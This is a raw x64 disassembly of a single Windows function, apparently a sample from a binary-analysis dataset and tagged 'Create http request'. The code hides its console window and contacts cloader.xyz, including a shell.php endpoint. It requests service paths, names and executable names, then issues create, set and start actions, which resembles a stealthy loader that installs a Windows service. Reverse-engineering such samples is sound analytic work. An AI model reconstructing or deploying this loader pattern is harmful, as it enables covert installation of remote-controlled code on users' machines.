Function at 0x140003530
Capabilities:
Create http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x1400430c0]
xor rax, rsp
mov qword [rbp + 0x320], rax
xor r14d, r14d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2b0], xmm1
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea edx, [r14 + 1]
lea rcx, str.WinINet_Example
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rbp + 0x2b0], rax
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2a0], xmm1
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea edx, [r14 + 1]
lea rcx, str.WinINet_Example
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rbp + 0x2a0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x288], xmm0
mov qword [rbp + 0x298], rax
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
xor r8d, r8d
lea rdx, [0x14003b9e4]
lea rcx, [rbp - 0x80]
call fcn.140002840
nop
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x288]
call fcn.140005fa0
nop
lea r9, [fcn.140007470]
lea edx, [r14 + 0x20]
lea r8d, [r14 + 1]
lea rcx, [rbp - 0x80]
call fcn.140013ec4
lea r8, str._cloader_shell.php_
lea rdx, [0x140045bc8]
lea rcx, [rbp + 0x250]
call fcn.140008b30
nop
lea r8, [0x14003ba30]
lea rdx, [0x140045bc8]
lea rcx, [rbp - 0x58]
call fcn.140008b30
nop
lea rsi, str.cody
mov rdx, rsi
cmp qword [0x140043bf8], 7
cmova rdx, qword [str.cody]
mov r8, qword [0x140043bf0]
mov rcx, rax
call fcn.1400088f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x14000370e
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 7
cmova rax, qword [rsp + 0x60]
mov dword [rax + rcx*2], 0x2f
lea rax, [rsp + 0x60]
jmp 0x140003733
mov qword [rsp + 0x20], 1
lea r9, [0x14003ba2c]
movzx r8d, byte [rsp + 0x30]
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.140009880
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea rdx, [0x140043c00]
cmp qword [0x140043c18], 7
cmova rdx, qword [0x140043c00]
mov r8, qword [0x140043c10]
lea rcx, [rbp - 0x80]
call fcn.1400088f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdi, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
sub rax, rdi
cmp rax, 0xc
jb 0x14000380b
lea rax, [rdi + 0xc]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rcx, 7
cmova rbx, qword [rsp + 0x40]
lea rcx, [rbx + rdi*2]
mov r8d, 0x18
lea rdx, str._service.exe
call fcn.14002ed70
mov word [rbx + rdi*2 + 0x18], r14w
lea rax, [rsp + 0x40]
jmp 0x140003830
mov qword [rsp + 0x20], 0xc
lea r9, str._service.exe
movzx r8d, byte [rsp + 0x30]
mov edx, 0xc
lea rcx, [rsp + 0x40]
call fcn.140009880
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2d0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2d0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400038ac
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400038a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000438f
call fcn.140013e80
movdqa xmm0, xmmword [0x14003c3e0]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140003900
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400038fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004395
call fcn.140013e80
movdqa xmm0, xmmword [0x14003c3e0]
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x80], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140003954
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000394f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000439b
call fcn.140013e80
movdqa xmm0, xmmword [0x14003c3e0]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], r14w
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x1400039a8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400039a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043a1
call fcn.140013e80
movdqa xmm0, xmmword [0x14003c3e0]
movdqu xmmword [rbp - 0x48], xmm0
mov word [rbp - 0x58], r14w
xorps xmm0, xmm0
movups xmmword [rbp + 0x300], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x310], xmm1
mov r8d, 0x29
lea rdx, str.https:__cloader.xyz_check_license_key.php
lea rcx, [rbp + 0x300]
call fcn.140002840
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2f0], xmm1
mov r8d, 0x29
lea rdx, str.https:__cloader.xyz_check_license_url.php
lea rcx, [rbp + 0x2e0]
call fcn.140002840
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], rax
lea r8, str.actionget_pathusername
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x1f0]
call fcn.140008b30
nop
mov rdx, rsi
cmp qword [0x140043bf8], 7
cmova rdx, qword [str.cody]
mov r8, qword [0x140043bf0]
mov rcx, rax
call fcn.1400088f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xa0], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea r8, str.actionget_filenameusername
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x68]
call fcn.140008b30
nop
mov rdx, rsi
cmp qword [0x140043bf8], 7
cmova rdx, qword [str.cody]
mov r8, qword [0x140043bf0]
mov rcx, rax
call fcn.1400088f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea r8, str.actionget_service_pathusername
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x48]
call fcn.140008b30
nop
mov rdx, rsi
cmp qword [0x140043bf8], 7
cmova rdx, qword [str.cody]
mov r8, qword [0x140043bf0]
mov rcx, rax
call fcn.1400088f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea r8, str.actionget_service_nameusername
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x28]
call fcn.140008b30
nop
mov rdx, rsi
cmp qword [0x140043bf8], 7
cmova rdx, qword [str.cody]
mov r8, qword [0x140043bf0]
mov rcx, rax
call fcn.1400088f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x100], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea r8, str.actionget_service_exenameusername
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 8]
call fcn.140008b30
nop
mov rdx, rsi
cmp qword [0x140043bf8], 7
cmova rdx, qword [str.cody]
mov r8, qword [0x140043bf0]
mov rcx, rax
call fcn.1400088f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea r8, str.actionget_service_descriptionusername
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x18]
call fcn.140008b30
nop
mov rdx, rsi
cmp qword [0x140043bf8], 7
cmova rdx, qword [str.cody]
mov r8, qword [0x140043bf0]
mov rcx, rax
call fcn.1400088f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x140], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x140], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea r8, str.actionget_path_wdusername
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x38]
call fcn.140008b30
nop
cmp qword [0x140043bf8], 7
cmova rsi, qword [str.cody]
mov r8, qword [0x140043bf0]
mov rdx, rsi
mov rcx, rax
call fcn.1400088f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x160], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x160], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea r8, str.actioncreate
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x170]
call fcn.140008b30
nop
lea r8, str.actionadd
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x190]
call fcn.140008b30
nop
lea r8, str.actionset
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x1b0]
call fcn.140008b30
nop
lea r8, str.actionstart
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x1d0]
call fcn.140008b30
nop
lea rax, [rbp + 0x90]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x270]
call fcn.140005fa0
nop
lea r9, [fcn.140007470]
mov edx, 0x20
lea r8d, [rdx - 0x15]
lea rcx, [rbp + 0x90]
call fcn.140013ec4
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 7
jbe 0x140003e4d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043a7
call fcn.140013e80
movdqa xmm0, xmmword [0x14003c3e0]
movdqu xmmword [rbp - 0x28], xmm0
mov word [rbp - 0x38], r14w
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x140003e9f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043ad
call fcn.140013e80
movdqa xmm0, xmmword [0x14003c3e0]
movdqu xmmword [rbp - 8], xmm0
mov word [rbp - 0x18], r14w
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x140003ef1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003eec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043b3
call fcn.140013e80
movdqa xmm0, xmmword [0x14003c3e0]
movdqu xmmword [rbp + 0x18], xmm0
mov word [rbp + 8], r14w
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140003f43
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043b9
call fcn.140013e80
movdqa xmm0, xmmword [0x14003c3e0]
movdqu xmmword [rbp + 0x38], xmm0
mov word [rbp + 0x28], r14w
mov rdx, qword [rbp + 0x60]
cmp rdx, 7
jbe 0x140003f95
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043bf
call fcn.140013e80
movdqa xmm0, xmmword [0x14003c3e0]
movdqu xmmword [rbp + 0x58], xmm0
mov word [rbp + 0x48], r14w
mov rdx, qword [rbp + 0x80]
cmp rdx, 7
jbe 0x140003fea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003fe5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043c5
call fcn.140013e80
movdqa xmm0, xmmword [0x14003c3e0]
movdqu xmmword [rbp + 0x78], xmm0
mov word [rbp + 0x68], r14w
mov rdx, qword [rbp + 0x208]
cmp rdx, 7
jbe 0x140004042
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000403d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043cb
call fcn.140013e80
mov qword [rbp + 0x248], r14
mov ecx, 0x40
call fcn.140013e88
mov rbx, rax
lea rax, vtable.std::_Func_impl_no_alloc_class__int___cdecl_main_void_::_2::_lambda_1___int___.0
mov qword [rbx], rax
lea rax, [rbp + 0x288]
mov qword [rbx + 8], rax
lea rax, [rbp + 0x2b0]
mov qword [rbx + 0x10], rax
lea rax, [rbp + 0x300]
mov qword [rbx + 0x18], rax
lea rax, [rbp + 0x2e0]
mov qword [rbx + 0x20], rax
lea rax, [rbp + 0x270]
mov qword [rbx + 0x28], rax
lea rax, [rbp + 0x2a0]
mov qword [rbx + 0x30], rax
lea rax, [rbp + 0x2c0]
mov qword [rbx + 0x38], rax
mov qword [rbp + 0x248], rbx
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
mov edi, eax
test rbx, rbx
je 0x1400040df
mov rcx, qword [rbx]
mov r8, qword [rcx + 0x20]
lea rax, [rbp + 0x210]
cmp rbx, rax
setne dl
mov rcx, rbx
call r8
nop
mov rcx, qword [rbp + 0x270]
test rcx, rcx
je 0x140004148
mov rdx, qword [rbp + 0x278]
call fcn.140009160
mov rdx, qword [rbp + 0x280]
mov rcx, qword [rbp + 0x270]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004131
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043d1
call fcn.140013e80
mov qword [rbp + 0x270], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x278], xmm0
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 7
jbe 0x14000418e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004189
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043d7
call fcn.140013e80
movdqa xmm0, xmmword [0x14003c3e0]
movdqu xmmword [rbp + 0x2f0], xmm0
mov word [rbp + 0x2e0], r14w
mov rdx, qword [rbp + 0x318]
cmp rdx, 7
jbe 0x1400041ec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x300]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400041e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043dd
call fcn.140013e80
movdqa xmm0, xmmword [0x14003c3e0]
movdqu xmmword [rbp + 0x310], xmm0
mov word [rbp + 0x300], r14w
mov rdx, qword [rbp + 0x2d8]
cmp rdx, 7
jbe 0x14000424a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004245
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043e3
call fcn.140013e80
movdqa xmm0, xmmword [0x14003c3e0]
movdqu xmmword [rbp + 0x2d0], xmm0
mov word [rbp + 0x2c0], r14w
mov rdx, qword [rbp + 0x268]
cmp rdx, 7
jbe 0x1400042a9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400042a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043e9
call fcn.140013e80
nop
mov rcx, qword [rbp + 0x288]
test rcx, rcx
je 0x140004312
mov rdx, qword [rbp + 0x290]
call fcn.140009160
mov rdx, qword [rbp + 0x298]
mov rcx, qword [rbp + 0x288]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400042fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004389
call fcn.140013e80
mov qword [rbp + 0x288], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x290], xmm0
mov rcx, qword [rbp + 0x2a8]
test rcx, rcx
je 0x140004324
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x2a0]
test rcx, rcx
je 0x140004337
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rcx, qword [rbp + 0x2b8]
test rcx, rcx
je 0x140004349
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x2b0]
test rcx, rcx
je 0x14000435b
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.140013e60
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14001bf90
nop
call fcn.14001bf90
nop
call fcn.14001bf90
nop
call fcn.14001bf90
nop
call fcn.14001bf90
nop
call fcn.14001bf90
nop
call fcn.14001bf90
nop
call fcn.14001bf90
nop
call fcn.14001bf90
nop
call fcn.14001bf90
nop
call fcn.14001bf90
nop
call fcn.14001bf90
nop
call fcn.14001bf90
nop
call fcn.14001bf90
nop
call fcn.14001bf90
nop
call fcn.14001bf90
nop
call fcn.14001bf90
int3